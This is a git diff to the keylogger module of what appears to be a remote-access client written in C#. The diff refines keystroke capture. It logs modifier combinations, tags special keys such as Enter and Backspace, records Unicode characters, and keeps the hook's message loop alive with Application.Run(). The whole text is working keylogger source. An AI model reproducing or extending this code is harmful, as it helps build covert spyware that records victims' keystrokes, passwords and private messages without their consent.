diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 6a6aa4d3..00f3a313 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -50,6 +50,8 @@ public Logger(double flushInterval) _timerFlush.Enabled = true; _timerFlush.Start(); + + Application.Run(); } ~Logger() @@ -127,63 +129,125 @@ private void Unsubscribe() m_Events.Dispose(); } - private void OnKeyDown(object sender, KeyEventArgs e) + private void OnKeyDown(object sender, KeyEventArgs e) //Called first { - PressedKeys.Add(e.KeyCode); + if (PressedKeys.Contains(Keys.LControlKey) //if modifier keys are still down, they will be highlighted, including any other key pressed + || PressedKeys.Contains(Keys.RControlKey) + || PressedKeys.Contains(Keys.LMenu) + || PressedKeys.Contains(Keys.RMenu) + || PressedKeys.Contains(Keys.LWin) + || PressedKeys.Contains(Keys.RWin)) + { + if (!PressedKeys.Contains(e.KeyCode)) //prevent multiple keypresses holding down a key + PressedKeys.Add(e.KeyCode); + } + else if ((e.KeyCode >= Keys.A && e.KeyCode <= Keys.Z) //exclude keys here we don't want to log and return, KeyPress event can handle these if it is a character value + || (e.KeyCode >= Keys.NumPad0 && e.KeyCode <= Keys.Divide) + || (e.KeyCode >= Keys.D0 && e.KeyCode <= Keys.D9) + || (e.KeyCode >= Keys.Oem1 && e.KeyCode <= Keys.OemClear + || (e.KeyCode >= Keys.LShiftKey && e.KeyCode <= Keys.RShiftKey) + || (e.KeyCode == Keys.CapsLock))) + { + return; + } + else if (e.KeyCode == Keys.Enter) + { + _logFileBuffer.Append("(ENTER)
"); //this could be where the KeyloggerKeys enum would be handy + } + else if (e.KeyCode == Keys.Space) + { + _logFileBuffer.Append(" "); + } + else if (e.KeyCode == Keys.Back) + { + _logFileBuffer.Append("(BACK)"); + } + else if (e.KeyCode == Keys.Delete) + { + _logFileBuffer.Append("(DEL)"); + } + else if (e.KeyCode >= Keys.Left && e.KeyCode <= Keys.Down) + { + _logFileBuffer.Append("(" + e.KeyCode.ToString() + ")"); + } + else + if (!PressedKeys.Contains(e.KeyCode)) //prevent multiple keypresses holding down a key + PressedKeys.Add(e.KeyCode); } - private void OnKeyUp(object sender, KeyEventArgs e) + private void Logger_KeyPress(object sender, KeyPressEventArgs e) //Called second + { + //This method should be used to process all of our unicode characters + _logFileBuffer.Append(e.KeyChar); + } + + private void OnKeyUp(object sender, KeyEventArgs e) //Called third { _logFileBuffer.Append(HighlightSpecialKeys(PressedKeys.ToArray())); - - PressedKeys.Remove(e.KeyCode); - } - - private void Logger_KeyPress(object sender, KeyPressEventArgs e) - { - _logFileBuffer.Append(e.KeyChar + " "); } private string HighlightSpecialKeys(Keys[] _names) { + if (_names.Length < 1) return string.Empty; + string[] names = new string[_names.Length]; - Array.Copy(_names, names, _names.Length); - - return HighlightSpecialKeys(names); - } - - private string HighlightSpecialKeys(string[] names) - { - if (names.Length < 1) return string.Empty; - - StringBuilder specialKeys = new StringBuilder(); - - int ValidSpecialKeys = 0; - for (int i = 0; i < names.Length; i++) + for (int i = 0; i < _names.Length; i++) { - if (!string.IsNullOrEmpty(names[i])) + names[i] = _names[i].ToString(); + } + + if (PressedKeys.Contains(Keys.LControlKey) + || PressedKeys.Contains(Keys.RControlKey) + || PressedKeys.Contains(Keys.LMenu) + || PressedKeys.Contains(Keys.RMenu) + || PressedKeys.Contains(Keys.LWin) + || PressedKeys.Contains(Keys.RWin)) + { + StringBuilder specialKeys = new StringBuilder(); + + int ValidSpecialKeys = 0; + for (int i = 0; i < names.Length; i++) { - if (ValidSpecialKeys == 0) + PressedKeys.Remove(_names[i]); + if (!string.IsNullOrEmpty(names[i])) { - specialKeys.AppendFormat("([{0}] ", names[i]); - } - else - { - specialKeys.AppendFormat("+ [{0}]", names[i]); - } + if (ValidSpecialKeys == 0) + { + specialKeys.AppendFormat("([{0}] ", names[i]); + } + else + { + specialKeys.AppendFormat("+ [{0}]", names[i]); + } - ValidSpecialKeys++; + ValidSpecialKeys++; + } } - } - // If there are items in the special keys string builder, give it an ending - // font tag and some trailing white-space. - if (ValidSpecialKeys > 0) + // If there are items in the special keys string builder, give it an ending + // font tag and some trailing white-space. + if (ValidSpecialKeys > 0) + { + specialKeys.Append(") "); + } + + return specialKeys.ToString(); + } + else { - specialKeys.Append(") "); - } + StringBuilder normalKeys = new StringBuilder(); - return specialKeys.ToString(); + for (int i = 0; i < names.Length; i++) + { + PressedKeys.Remove(_names[i]); + if (!string.IsNullOrEmpty(names[i])) + { + normalKeys.Append(names[i]); + } + } + + return normalKeys.ToString(); + } } private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)